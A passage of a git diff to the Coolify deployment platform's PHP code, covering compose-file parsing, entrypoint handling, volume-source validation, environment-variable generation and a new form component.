+                $error = $process_result->errorOutput();
+                if (empty($error)) {
+                    $error = $process_result->output() ?: 'Command failed with no error output';
+                }
+                $redactedCommand = $this->redact_sensitive_info($command);
+                throw new \RuntimeException("Command execution failed (exit code {$process_result->exitCode()}): {$redactedCommand}\nError: {$error}");
             }
         }
     }
diff --git a/app/View/Components/Forms/EnvVarInput.php b/app/View/Components/Forms/EnvVarInput.php
new file mode 100644
index 000000000..7cf8ee8fa
--- /dev/null
+++ b/app/View/Components/Forms/EnvVarInput.php
@@ -0,0 +1,89 @@
+<?php
+
+namespace App\View\Components\Forms;
+
+use Closure;
+use Illuminate\Contracts\View\View;
+use Illuminate\Support\Facades\Gate;
+use Illuminate\View\Component;
+use Visus\Cuid2\Cuid2;
+
+class EnvVarInput extends Component
+{
+    public ?string $modelBinding = null;
+
+    public ?string $htmlId = null;
+
+    public array $scopeUrls = [];
+
+    public function __construct(
+        public ?string $id = null,
+        public ?string $name = null,
+        public ?string $type = 'text',
+        public ?string $value = null,
+        public ?string $label = null,
+        public bool $required = false,
+        public bool $disabled = false,
+        public bool $readonly = false,
+        public ?string $helper = null,
+        public string $defaultClass = 'input',
+        public string $autocomplete = 'off',
+        public ?int $minlength = null,
+        public ?int $maxlength = null,
+        public bool $autofocus = false,
+        public ?string $canGate = null,
+        public mixed $canResource = null,
+        public bool $autoDisable = true,
+        public array $availableVars = [],
+        public ?string $projectUuid = null,
+        public ?string $environmentUuid = null,
+    ) {
+        // Handle authorization-based disabling
+        if ($this->canGate && $this->canResource && $this->autoDisable) {
+            $hasPermission = Gate::allows($this->canGate, $this->canResource);
+
+            if (! $hasPermission) {
+                $this->disabled = true;
+            }
+        }
+    }
+
+    public function render(): View|Closure|string
+    {
+        // Store original ID for wire:model binding (property name)
+        $this->modelBinding = $this->id;
+
+        if (is_null($this->id)) {
+            $this->id = new Cuid2;
+            // Don't create wire:model binding for auto-generated IDs
+            $this->modelBinding = 'null';
+        }
+        // Generate unique HTML ID by adding random suffix
+        // This prevents duplicate IDs when multiple forms are on the same page
+        if ($this->modelBinding && $this->modelBinding !== 'null') {
+            // Use original ID with random suffix for uniqueness
+            $uniqueSuffix = new Cuid2;
+            $this->htmlId = $this->modelBinding.'-'.$uniqueSuffix;
+        } else {
+            $this->htmlId = (string) $this->id;
+        }
+
+        if (is_null($this->name)) {
+            $this->name = $this->modelBinding !== 'null' ? $this->modelBinding : (string) $this->id;
+        }
+
+        $this->scopeUrls = [
+            'team' => route('shared-variables.team.index'),
+            'project' => route('shared-variables.project.index'),
+            'environment' => $this->projectUuid && $this->environmentUuid
+                ? route('shared-variables.environment.show', [
+                    'project_uuid' => $this->projectUuid,
+                    'environment_uuid' => $this->environmentUuid,
+                ])
+                : route('shared-variables.environment.index'),
+            'default' => route('shared-variables.index'),
+        ];
+
+        return view('components.forms.env-var-input');
+    }
+}
diff --git a/bootstrap/helpers/constants.php b/bootstrap/helpers/constants.php
index 382e2d015..f588b6c00 100644
--- a/bootstrap/helpers/constants.php
+++ b/bootstrap/helpers/constants.php
@@ -47,6 +47,8 @@
     'neo4j',
     'influxdb',
     'clickhouse/clickhouse-server',
+    'timescaledb/timescaledb',
+    'pgvector/pgvector',
 ];
 const SPECIFIC_SERVICES = [
     'quay.io/minio/minio',
diff --git a/bootstrap/helpers/docker.php b/bootstrap/helpers/docker.php
index d6c9b5bdf..feee4536e 100644
--- a/bootstrap/helpers/docker.php
+++ b/bootstrap/helpers/docker.php
@@ -17,24 +17,44 @@ function getCurrentApplicationContainerStatus(Server $server, int $id, ?int $pul
     if (! $server->isSwarm()) {
         $containers = instant_remote_process(["docker ps -a --filter='label=coolify.applicationId={$id}' --format '{{json .}}' "], $server);
         $containers = format_docker_command_output_to_json($containers);
+
         $containers = $containers->map(function ($container) use ($pullRequestId, $includePullrequests) {
             $labels = data_get($container, 'Labels');
-            if (! str($labels)->contains('coolify.pullRequestId=')) {
-                data_set($container, 'Labels', $labels.",coolify.pullRequestId={$pullRequestId}");
+            $containerName = data_get($container, 'Names');
+            $hasPrLabel = str($labels)->contains('coolify.pullRequestId=');
+            $prLabelValue = null;
 
+            if ($hasPrLabel) {
+                preg_match('/coolify\.pullRequestId=(\d+)/', $labels, $matches);
+                $prLabelValue = $matches[1] ?? null;
+            }
+
+            // Treat pullRequestId=0 or missing label as base deployment (convention: 0 = no PR)
+            $isBaseDeploy = ! $hasPrLabel || (int) $prLabelValue === 0;
+
+            // If we're looking for a specific PR and this is a base deployment, exclude it
+            if ($pullRequestId !== null && $pullRequestId !== 0 && $isBaseDeploy) {
+                return null;
+            }
+
+            // If this is a base deployment, include it when not filtering for PRs
+            if ($isBaseDeploy) {
                 return $container;
             }
+
             if ($includePullrequests) {
                 return $container;
             }
-            if (str($labels)->contains("coolify.pullRequestId=$pullRequestId")) {
+            if ($pullRequestId !== null && $pullRequestId !== 0 && str($labels)->contains("coolify.pullRequestId={$pullRequestId}")) {
                 return $container;
             }
 
             return null;
         });
 
-        return $containers->filter();
+        $filtered = $containers->filter();
+
+        return $filtered;
     }
 
     return $containers;
@@ -942,6 +962,7 @@ function convertDockerRunToCompose(?string $custom_docker_run_options = null)
         '--shm-size' => 'shm_size',
         '--gpus' => 'gpus',
         '--hostname' => 'hostname',
+        '--entrypoint' => 'entrypoint',
     ]);
     foreach ($matches as $match) {
         $option = $match[1];
@@ -962,6 +983,37 @@ function convertDockerRunToCompose(?string $custom_docker_run_options = null)
                 $options[$option] = array_unique($options[$option]);
             }
         }
+        if ($option === '--entrypoint') {
+            // Match --entrypoint=value or --entrypoint value
+            // Handle quoted strings with escaped quotes: --entrypoint "python -c \"print('hi')\""
+            // Pattern matches: double-quoted (with escapes), single-quoted (with escapes), or unquoted values
+            if (preg_match(
+                '/--entrypoint(?:=|\s+)(?<raw>"(?:\\\\.|[^"])*"|\'(?:\\\\.|[^\'])*\'|[^\s]+)/',
+                $custom_docker_run_options,
+                $entrypoint_matches
+            )) {
+                $rawValue = $entrypoint_matches['raw'];
+                // Handle double-quoted strings: strip quotes and unescape special characters
+                if (str_starts_with($rawValue, '"') && str_ends_with($rawValue, '"')) {
+                    $inner = substr($rawValue, 1, -1);
+                    // Unescape backslash sequences: \" \$ \` \\
+                    $value = preg_replace('/\\\\(["$`\\\\])/', '$1', $inner);
+                } elseif (str_starts_with($rawValue, "'") && str_ends_with($rawValue, "'")) {
+                    // Handle single-quoted strings: just strip quotes (no unescaping per shell rules)
+                    $value = substr($rawValue, 1, -1);
+                } else {
+                    // Handle unquoted values
+                    $value = $rawValue;
+                }
+            }
+
+            if (isset($value) && trim($value) !== '') {
+                $options[$option][] = $value;
+                $options[$option] = array_values(array_unique($options[$option]));
+            }
+
+            continue;
+        }
         if (isset($match[2]) && $match[2] !== '') {
             $value = $match[2];
             $options[$option][] = $value;
@@ -1002,6 +1054,12 @@ function convertDockerRunToCompose(?string $custom_docker_run_options = null)
             if (! is_null($value) && is_array($value) && count($value) > 0 && ! empty(trim($value[0]))) {
                 $compose_options->put($mapping[$option], $value[0]);
             }
+        } elseif ($option === '--entrypoint') {
+            if (! is_null($value) && is_array($value) && count($value) > 0 && ! empty(trim($value[0]))) {
+                // Docker compose accepts entrypoint as either a string or an array
+                // Keep it as a string for simplicity - docker compose will handle it
+                $compose_options->put($mapping[$option], $value[0]);
+            }
         } elseif ($option === '--gpus') {
             $payload = [
                 'driver' => 'nvidia',
@@ -1063,6 +1121,44 @@ function generateCustomDockerRunOptionsForDatabases($docker_run_options, $docker
     return $docker_compose;
 }
 
+/**
+ * Remove Coolify's custom Docker Compose fields from parsed YAML array
+ *
+ * Coolify extends Docker Compose with custom fields that are processed during
+ * parsing and deployment but must be removed before sending to Docker.
+ *
+ * Custom fields:
+ * - exclude_from_hc (service-level): Exclude service from health check monitoring
+ * - content (volume-level): Auto-create file with specified content during init
+ * - isDirectory / is_directory (volume-level): Mark bind mount as directory
+ *
+ * @param  array  $yamlCompose  Parsed Docker Compose array
+ * @return array Cleaned Docker Compose array with custom fields removed
+ */
+function stripCoolifyCustomFields(array $yamlCompose): array
+{
+    foreach ($yamlCompose['services'] ?? [] as $serviceName => $service) {
+        // Remove service-level custom fields
+        unset($yamlCompose['services'][$serviceName]['exclude_from_hc']);
+
+        // Remove volume-level custom fields (only for long syntax - arrays)
+        if (isset($service['volumes'])) {
+            foreach ($service['volumes'] as $volumeName => $volume) {
+                // Skip if volume is string (short syntax like 'db-data:/var/lib/postgresql/data')
+                if (! is_array($volume)) {
+                    continue;
+                }
+
+                unset($yamlCompose['services'][$serviceName]['volumes'][$volumeName]['content']);
+                unset($yamlCompose['services'][$serviceName]['volumes'][$volumeName]['isDirectory']);
+                unset($yamlCompose['services'][$serviceName]['volumes'][$volumeName]['is_directory']);
+            }
+        }
+    }
+
+    return $yamlCompose;
+}
+
 function validateComposeFile(string $compose, int $server_id): string|Throwable
 {
     $uuid = Str::random(18);
@@ -1072,13 +1168,10 @@ function validateComposeFile(string $compose, int $server_id): string|Throwable
             throw new \Exception('Server not found');
         }
         $yaml_compose = Yaml::parse($compose);
-        foreach ($yaml_compose['services'] as $service_name => $service) {
-            foreach ($service['volumes'] as $volume_name => $volume) {
-                if (data_get($volume, 'type') === 'bind' && data_get($volume, 'content')) {
-                    unset($yaml_compose['services'][$service_name]['volumes'][$volume_name]['content']);
-                }
-            }
-        }
+
+        // Remove Coolify's custom fields before Docker validation
+        $yaml_compose = stripCoolifyCustomFields($yaml_compose);
+
         $base64_compose = base64_encode(Yaml::dump($yaml_compose));
         instant_remote_process([
             "echo {$base64_compose} | base64 -d | tee /tmp/{$uuid}.yml > /dev/null",
@@ -1249,3 +1342,36 @@ function generateDockerEnvFlags($variables): string
         })
         ->implode(' ');
 }
+
+/**
+ * Auto-inject -f and --env-file flags into a docker compose command if not already present
+ *
+ * @param  string  $command  The docker compose command to modify
+ * @param  string  $composeFilePath  The path to the compose file
+ * @param  string  $envFilePath  The path to the .env file
+ * @return string The modified command with injected flags
+ *
+ * @example
+ * Input:  "docker compose build"
+ * Output: "docker compose -f ./docker-compose.yml --env-file .env build"
+ */
+function injectDockerComposeFlags(string $command, string $composeFilePath, string $envFilePath): string
+{
+    $dockerComposeReplacement = 'docker compose';
+
+    // Add -f flag if not present (checks for both -f and --file with various formats)
+    // Detects: -f path, -f=path, -fpath (concatenated with path chars: . / ~), --file path, --file=path
+    // Note: Uses [.~/]|$ instead of \S to prevent false positives with flags like -foo, -from, -feature
+    if (! preg_match('/(?:^|\s)(?:-f(?:[=\s]|[.\/~]|$)|--file(?:=|\s))/', $command)) {
+        $dockerComposeReplacement .= " -f {$composeFilePath}";
+    }
+
+    // Add --env-file flag if not present (checks for --env-file with various formats)
+    // Detects: --env-file path, --env-file=path with any whitespace
+    if (! preg_match('/(?:^|\s)--env-file(?:=|\s)/', $command)) {
+        $dockerComposeReplacement .= " --env-file {$envFilePath}";
+    }
+
+    // Replace only first occurrence to avoid modifying comments/strings/chained commands
+    return preg_replace('/docker\s+compose/', $dockerComposeReplacement, $command, 1);
+}
diff --git a/bootstrap/helpers/parsers.php b/bootstrap/helpers/parsers.php
index 01ae50f6b..dfcc3e190 100644
--- a/bootstrap/helpers/parsers.php
+++ b/bootstrap/helpers/parsers.php
@@ -59,11 +59,13 @@ function validateDockerComposeForInjection(string $composeYaml): void
                     if (isset($volume['source'])) {
                         $source = $volume['source'];
                         if (is_string($source)) {
-                            // Allow simple env vars and env vars with defaults (validated in parseDockerVolumeString)
+                            // Allow env vars and env vars with defaults (validated in parseDockerVolumeString)
+                            // Also allow env vars followed by safe path concatenation (e.g., ${VAR}/path)
                             $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $source);
                             $isEnvVarWithDefault = preg_match('/^\$\{[^}]+:-[^}]*\}$/', $source);
+                            $isEnvVarWithPath = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}[\/\w\.\-]*$/', $source);
 
-                            if (! $isSimpleEnvVar && ! $isEnvVarWithDefault) {
+                            if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) {
                                 try {
                                     validateShellSafePath($source, 'volume source');
                                 } catch (\Exception $e) {
@@ -310,15 +312,17 @@ function parseDockerVolumeString(string $volumeString): array
     // Validate source path for command injection attempts
     // We validate the final source value after environment variable processing
     if ($source !== null) {
-        // Allow simple environment variables like ${VAR_NAME} or ${VAR}
-        // but validate everything else for shell metacharacters
+        // Allow environment variables like ${VAR_NAME} or ${VAR}
+        // Also allow env vars followed by safe path concatenation (e.g., ${VAR}/path)
         $sourceStr = is_string($source) ? $source : $source;
 
         // Skip validation for simple environment variable references
-        // Pattern: ${WORD_CHARS} with no special characters inside
+        // Pattern 1: ${WORD_CHARS} with no special characters inside
+        // Pattern 2: ${WORD_CHARS}/path/to/file (env var with path concatenation)
         $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceStr);
+        $isEnvVarWithPath = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}[\/\w\.\-]*$/', $sourceStr);
 
-        if (! $isSimpleEnvVar) {
+        if (! $isSimpleEnvVar && ! $isEnvVarWithPath) {
             try {
                 validateShellSafePath($sourceStr, 'volume source');
             } catch (\Exception $e) {
@@ -453,13 +457,9 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
             // for example SERVICE_FQDN_APP_3000 (without a value)
             if ($key->startsWith('SERVICE_FQDN_')) {
                 // SERVICE_FQDN_APP or SERVICE_FQDN_APP_3000
-                if (substr_count(str($key)->value(), '_') === 3) {
-                    $fqdnFor = $key->after('SERVICE_FQDN_')->beforeLast('_')->lower()->value();
-                    $port = $key->afterLast('_')->value();
-                } else {
-                    $fqdnFor = $key->after('SERVICE_FQDN_')->lower()->value();
-                    $port = null;
-                }
+                $parsed = parseServiceEnvironmentVariable($key->value());
+                $fqdnFor = $parsed['service_name'];
+                $port = $parsed['port'];
                 $fqdn = $resource->fqdn;
                 if (blank($resource->fqdn)) {
                     $fqdn = generateFqdn(server: $server, random: "$uuid", parserVersion: $resource->compose_parsing_version);
@@ -482,7 +482,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
                     $resource->save();
                 }
 
-                if (substr_count(str($key)->value(), '_') === 2) {
+                if (! $parsed['has_port']) {
                     $resource->environment_variables()->updateOrCreate([
                         'key' => $key->value(),
                         'resourceable_type' => get_class($resource),
@@ -492,7 +492,7 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
                         'is_preview' => false,
                     ]);
                 }
-                if (substr_count(str($key)->value(), '_') === 3) {
+                if ($parsed['has_port']) {
 
                     $newKey = str($key)->beforeLast('_');
                     $resource->environment_variables()->updateOrCreate([
@@ -514,75 +514,96 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
                 $key = str($key);
                 $value = replaceVariables($value);
                 $command = parseCommandFromMagicEnvVariable($key);
-                if ($command->value() === 'FQDN') {
-                    $fqdnFor = $key->after('SERVICE_FQDN_')->lower()->value();
-                    $originalFqdnFor = str($fqdnFor)->replace('_', '-');
-                    if (str($fqdnFor)->contains('-')) {
-                        $fqdnFor = str($fqdnFor)->replace('-', '_')->replace('.', '_');
+                if ($command->value() === 'FQDN' || $command->value() === 'URL') {
+                    // ALWAYS create BOTH SERVICE_URL and SERVICE_FQDN pairs regardless of which one is in template
+                    $parsed = parseServiceEnvironmentVariable($key->value());
+                    $serviceName = $parsed['service_name'];
+                    $port = $parsed['port'];
+
+                    // Extract case-preserved service name from template
+                    $strKey = str($key->value());
+                    if ($parsed['has_port']) {
+                        if ($strKey->startsWith('SERVICE_URL_')) {
+                            $serviceNamePreserved = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
+                        } else {
+                            $serviceNamePreserved = $strKey->after('SERVICE_FQDN_')->beforeLast('_')->value();
+                        }
+                    } else {
+                        if ($strKey->startsWith('SERVICE_URL_')) {
+                            $serviceNamePreserved = $strKey->after('SERVICE_URL_')->value();
+                        } else {
+                            $serviceNamePreserved = $strKey->after('SERVICE_FQDN_')->value();
+                        }
                     }
-                    // Generated FQDN & URL
-                    $fqdn = generateFqdn(server: $server, random: "$originalFqdnFor-$uuid", parserVersion: $resource->compose_parsing_version);
-                    $url = generateUrl(server: $server, random: "$originalFqdnFor-$uuid");
+
+                    $originalServiceName = str($serviceName)->replace('_', '-')->value();
+                    // Always normalize service names to match docker_compose_domains lookup
+                    $serviceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
+
+                    // Generate BOTH FQDN & URL
+                    $fqdn = generateFqdn(server: $server, random: "$originalServiceName-$uuid", parserVersion: $resource->compose_parsing_version);
+                    $url = generateUrl(server: $server, random: "$originalServiceName-$uuid");
+
+                    // IMPORTANT: SERVICE_FQDN env vars should NOT contain scheme (host only)
+                    // But $fqdn variable itself may contain scheme (used for database domain field)
+                    // Strip scheme for environment variable values
+                    $fqdnValueForEnv = str($fqdn)->after('://')->value();
+
+                    // Append port if specified
+                    $urlWithPort = $url;
+                    $fqdnValueForEnvWithPort = $fqdnValueForEnv;
+                    if ($port && is_numeric($port)) {
+                        $urlWithPort = "$url:$port";
+                        $fqdnValueForEnvWithPort = "$fqdnValueForEnv:$port";
+                    }
+
+                    // ALWAYS create base SERVICE_FQDN variable (host only, no scheme)
                     $resource->environment_variables()->firstOrCreate([
-                        'key' => $key->value(),
+                        'key' => "SERVICE_FQDN_{$serviceNamePreserved}",
                         'resourceable_type' => get_class($resource),
                         'resourceable_id' => $resource->id,
                     ], [
-                        'value' => $fqdn,
+                        'value' => $fqdnValueForEnv,
                         'is_preview' => false,
                     ]);
-                    if ($resource->build_pack === 'dockercompose') {
-                        // Check if a service with this name actually exists
-                        $serviceExists = false;
-                        foreach ($services as $serviceName => $service) {
-                            $transformedServiceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
-                            if ($transformedServiceName === $fqdnFor) {
-                                $serviceExists = true;
-                                break;
-                            }
-                        }
 
-                        // Only add domain if the service exists
-                        if ($serviceExists) {
-                            $domains = collect(json_decode(data_get($resource, 'docker_compose_domains'))) ?? collect([]);
-                            $domainExists = data_get($domains->get($fqdnFor), 'domain');
-                            $envExists = $resource->environment_variables()->where('key', $key->value())->first();
-                            if (str($domainExists)->replace('http://', '')->replace('https://', '')->value() !== $envExists->value) {
-                                $envExists->update([
-                                    'value' => $url,
-                                ]);
-                            }
-                            if (is_null($domainExists)) {
-                                // Put URL in the domains array instead of FQDN
-                                $domains->put((string) $fqdnFor, [
-                                    'domain' => $url,
-                                ]);
-                                $resource->docker_compose_domains = $domains->toJson();
-                                $resource->save();
-                            }
-                        }
-                    }
-                } elseif ($command->value() === 'URL') {
-                    $urlFor = $key->after('SERVICE_URL_')->lower()->value();
-                    $originalUrlFor = str($urlFor)->replace('_', '-');
-                    if (str($urlFor)->contains('-')) {
-                        $urlFor = str($urlFor)->replace('-', '_')->replace('.', '_');
-                    }
-                    $url = generateUrl(server: $server, random: "$originalUrlFor-$uuid");
+                    // ALWAYS create base SERVICE_URL variable (with scheme)
                     $resource->environment_variables()->firstOrCreate([
-                        'key' => $key->value(),
+                        'key' => "SERVICE_URL_{$serviceNamePreserved}",
                         'resourceable_type' => get_class($resource),
                         'resourceable_id' => $resource->id,
                     ], [
                         'value' => $url,
                         'is_preview' => false,
                     ]);
+
+                    // If port-specific, ALSO create port-specific pairs
+                    if ($parsed['has_port'] && $port) {
+                        $resource->environment_variables()->firstOrCreate([
+                            'key' => "SERVICE_FQDN_{$serviceNamePreserved}_{$port}",
+                            'resourceable_type' => get_class($resource),
+                            'resourceable_id' => $resource->id,
+                        ], [
+                            'value' => $fqdnValueForEnvWithPort,
+                            'is_preview' => false,
+                        ]);
+
+                        $resource->environment_variables()->firstOrCreate([
+                            'key' => "SERVICE_URL_{$serviceNamePreserved}_{$port}",
+                            'resourceable_type' => get_class($resource),
+                            'resourceable_id' => $resource->id,
+                        ], [
+                            'value' => $urlWithPort,
+                            'is_preview' => false,
+                        ]);
+                    }
+
                     if ($resource->build_pack === 'dockercompose') {
                         // Check if a service with this name actually exists
                         $serviceExists = false;
-                        foreach ($services as $serviceName => $service) {
-                            $transformedServiceName = str($serviceName)->replace('-', '_')->replace('.', '_')->value();
-                            if ($transformedServiceName === $urlFor) {
+                        foreach ($services as $serviceNameKey => $service) {
+                            $transformedServiceName = str($serviceNameKey)->replace('-', '_')->replace('.', '_')->value();
+                            if ($transformedServiceName === $serviceName) {
                                 $serviceExists = true;
                                 break;
                             }
@@ -591,16 +612,14 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
                         // Only add domain if the service exists
                         if ($serviceExists) {
                             $domains = collect(json_decode(data_get($resource, 'docker_compose_domains'))) ?? collect([]);
-                            $domainExists = data_get($domains->get($urlFor), 'domain');
-                            $envExists = $resource->environment_variables()->where('key', $key->value())->first();
-                            if ($domainExists !== $envExists->value) {
-                                $envExists->update([
-                                    'value' => $url,
-                                ]);
-                            }
+                            $domainExists = data_get($domains->get($serviceName), 'domain');
+
+                            // Update domain using URL with port if applicable
+                            $domainValue = $port ? $urlWithPort : $url;
+
                             if (is_null($domainExists)) {
-                                $domains->put((string) $urlFor, [
-                                    'domain' => $url,
+                                $domains->put($serviceName, [
+                                    'domain' => $domainValue,
                                 ]);
                                 $resource->docker_compose_domains = $domains->toJson();
                                 $resource->save();
@@ -711,9 +730,12 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
                     // Validate source and target for command injection (array/long syntax)
                     if ($source !== null && ! empty($source->value())) {
                         $sourceValue = $source->value();
-                        // Allow simple environment variable references
+                        // Allow environment variable references and env vars with path concatenation
                         $isSimpleEnvVar = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/', $sourceValue);
-                        if (! $isSimpleEnvVar) {
+                        $isEnvVarWithDefault = preg_match('/^\$\{[^}]+:-[^}]*\}$/', $sourceValue);
+                        $isEnvVarWithPath = preg_match('/^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}[\/\w\.\-]*$/', $sourceValue);
+
+                        if (! $isSimpleEnvVar && ! $isEnvVarWithDefault && ! $isEnvVarWithPath) {
                             try {
                                 validateShellSafePath($sourceValue, 'volume source');
                             } catch (\Exception $e) {
@@ -1164,13 +1186,21 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
             $environment = $environment->filter(function ($value, $key) {
                 return ! str($key)->startsWith('SERVICE_FQDN_');
             })->map(function ($value, $key) use ($resource) {
-                // if value is empty, set it to null so if you set the environment variable in the .env file (Coolify's UI), it will used
-                if (str($value)->isEmpty()) {
-                    if ($resource->environment_variables()->where('key', $key)->exists()) {
-                        $value = $resource->environment_variables()->where('key', $key)->first()->value;
-                    } else {
-                        $value = null;
+                // Preserve empty strings and null values with correct Docker Compose semantics:
+                // - Empty string: Variable is set to "" (e.g., HTTP_PROXY="" means "no proxy")
+                // - Null: Variable is unset/removed from container environment (may inherit from host)
+                if ($value === null) {
+                    // User explicitly wants variable unset - respect that
+                    // NEVER override from database - null means "inherit from environment"
+                    // Keep as null (will be excluded from container environment)
+                } elseif ($value === '') {
+                    // Empty string - allow database override for backward compatibility
+                    $dbEnv = $resource->environment_variables()->where('key', $key)->first();
+                    // Only use database override if it exists AND has a non-empty value
+                    if ($dbEnv && str($dbEnv->value)->isNotEmpty()) {
+                        $value = $dbEnv->value;
                     }
+                    // Otherwise keep empty string as-is
                 }
 
                 return $value;
@@ -1285,6 +1315,15 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
         if ($depends_on->count() > 0) {
             $payload['depends_on'] = $depends_on;
         }
+        // Auto-inject .env file so Coolify environment variables are available inside containers
+        // This makes Applications behave consistently with manual .env file usage
+        $existingEnvFiles = data_get($service, 'env_file');
+        $envFiles = collect(is_null($existingEnvFiles) ? [] : (is_array($existingEnvFiles) ? $existingEnvFiles : [$existingEnvFiles]))
+            ->push('.env')
+            ->unique()
+            ->values();
+
+        $payload['env_file'] = $envFiles;
         if ($isPullRequest) {
             $serviceName = addPreviewDeploymentSuffix($serviceName, $pullRequestId);
         }
@@ -1299,6 +1338,18 @@ function applicationParser(Application $resource, int $pull_request_id = 0, ?int
         return array_search($key, $customOrder);
     });
 
+    // Remove empty top-level sections (volumes, networks, configs, secrets)
+    // Keep only non-empty sections to match Docker Compose best practices
+    $topLevel = $topLevel->filter(function ($value, $key) {
+        // Always keep 'services' section
+        if ($key === 'services') {
+            return true;
+        }
+
+        // Keep section only if it has content
+        return $value instanceof Collection ? $value->isNotEmpty() : ! empty($value);
+    });
+
     $cleanedCompose = Yaml::dump(convertToArray($topLevel), 10, 2);
     $resource->docker_compose = $cleanedCompose;
 
@@ -1392,22 +1443,40 @@ function serviceParser(Service $resource): Collection
         }
 
         $image = data_get_str($service, 'image');
-        $isDatabase = isDatabaseImage($image, $service);
-        if ($isDatabase) {
-            $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first();
-            if ($applicationFound) {
-                $savedService = $applicationFound;
+
+        // Check for manually migrated services first (respects user's conversion choice)
+        $migratedApp = ServiceApplication::where('name', $serviceName)
+            ->where('service_id', $resource->id)
+            ->where('is_migrated', true)
+            ->first();
+        $migratedDb = ServiceDatabase::where('name', $serviceName)
+            ->where('service_id', $resource->id)
+            ->where('is_migrated', true)
+            ->first();
+
+        if ($migratedApp || $migratedDb) {
+            // Use the migrated service type, ignoring image detection
+            $isDatabase = (bool) $migratedDb;
+            $savedService = $migratedApp ?: $migratedDb;
+        } else {
+            // Use image detection for non-migrated services
+            $isDatabase = isDatabaseImage($image, $service);
+            if ($isDatabase) {
+                $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first();
+                if ($applicationFound) {
+                    $savedService = $applicationFound;
+                } else {
+                    $savedService = ServiceDatabase::firstOrCreate([
+                        'name' => $serviceName,
+                        'service_id' => $resource->id,
+                    ]);
+                }
             } else {
-                $savedService = ServiceDatabase::firstOrCreate([
+                $savedService = ServiceApplication::firstOrCreate([
                     'name' => $serviceName,
                     'service_id' => $resource->id,
                 ]);
             }
-        } else {
-            $savedService = ServiceApplication::firstOrCreate([
-                'name' => $serviceName,
-                'service_id' => $resource->id,
-            ]);
         }
         // Update image if it changed
         if ($savedService->image !== $image) {
@@ -1422,7 +1491,24 @@ function serviceParser(Service $resource): Collection
         $environment = collect(data_get($service, 'environment', []));
         $buildArgs = collect(data_get($service, 'build.args', []));
         $environment = $environment->merge($buildArgs);
-        $isDatabase = isDatabaseImage($image, $service);
+
+        // Check for manually migrated services first (respects user's conversion choice)
+        $migratedApp = ServiceApplication::where('name', $serviceName)
+            ->where('service_id', $resource->id)
+            ->where('is_migrated', true)
+            ->first();
+        $migratedDb = ServiceDatabase::where('name', $serviceName)
+            ->where('service_id', $resource->id)
+            ->where('is_migrated', true)
+            ->first();
+
+        if ($migratedApp || $migratedDb) {
+            // Use the migrated service type, ignoring image detection
+            $isDatabase = (bool) $migratedDb;
+        } else {
+            // Use image detection for non-migrated services
+            $isDatabase = isDatabaseImage($image, $service);
+        }
 
         $containerName = "$serviceName-{$resource->uuid}";
 
@@ -1442,7 +1528,11 @@ function serviceParser(Service $resource): Collection
         if ($serviceName === 'plausible') {
             $predefinedPort = '8000';
         }
-        if ($isDatabase) {
+
+        if ($migratedApp || $migratedDb) {
+            // Use the already determined migrated service
+            $savedService = $migratedApp ?: $migratedDb;
+        } elseif ($isDatabase) {
             $applicationFound = ServiceApplication::where('name', $serviceName)->where('service_id', $resource->id)->first();
             if ($applicationFound) {
                 $savedService = $applicationFound;
@@ -1504,106 +1594,119 @@ function serviceParser(Service $resource): Collection
             }
             // Get magic environments where we need to preset the FQDN / URL
             if ($key->startsWith('SERVICE_FQDN_') || $key->startsWith('SERVICE_URL_')) {
-                // SERVICE_FQDN_APP or SERVICE_FQDN_APP_3000
-                if (substr_count(str($key)->value(), '_') === 3) {
-                    if ($key->startsWith('SERVICE_FQDN_')) {
-                        $urlFor = null;
-                        $fqdnFor = $key->after('SERVICE_FQDN_')->beforeLast('_')->lower()->value();
+                // SERVICE_FQDN_APP or SERVICE_FQDN_APP_3000 or SERVICE_URL_APP or SERVICE_URL_APP_3000
+                // ALWAYS create BOTH SERVICE_URL and SERVICE_FQDN pairs regardless of which one is in template
+                $parsed = parseServiceEnvironmentVariable($key->value());
+
+                // Extract service name preserving original case from template
+                $strKey = str($key->value());
+                if ($parsed['has_port']) {
+                    if ($strKey->startsWith('SERVICE_URL_')) {
+                        $serviceName = $strKey->after('SERVICE_URL_')->beforeLast('_')->value();
+                    } elseif ($strKey->startsWith('SERVICE_FQDN_')) {
+                        $serviceName = $strKey->after('SERVICE_FQDN_')->beforeLast('_')->value();
+                    } else {
+                        continue;
                     }
-                    if ($key->startsWith('SERVICE_URL_')) {
-                        $fqdnFor = null;
-                        $urlFor = $key->after('SERVICE_URL_')->beforeLast('_')->lower()->value();
-                    }
-                    $port = $key->afterLast('_')->value();
                 } else {
-                    if ($key->startsWith('SERVICE_FQDN_')) {
-                        $urlFor = null;
-                        $fqdnFor = $key->after('SERVICE_FQDN_')->lower()->value();
+                    if ($strKey->startsWith('SERVICE_URL_')) {
+                        $serviceName = $strKey->after('SERVICE_URL_')->value();
+                    } elseif ($strKey->startsWith('SERVICE_FQDN_')) {
+                        $serviceName = $strKey->after('SERVICE_FQDN_')->value();
+                    } else {
+                        continue;
                     }
-                    if ($key->startsWith('SERVICE_URL_')) {
-                        $fqdnFor = null;
-                        $urlFor = $key->after('SERVICE_URL_')->lower()->value();
-                    }
-                    $port = null;
                 }
-                if (blank($savedService->fqdn)) {
-                    if ($fqdnFor) {
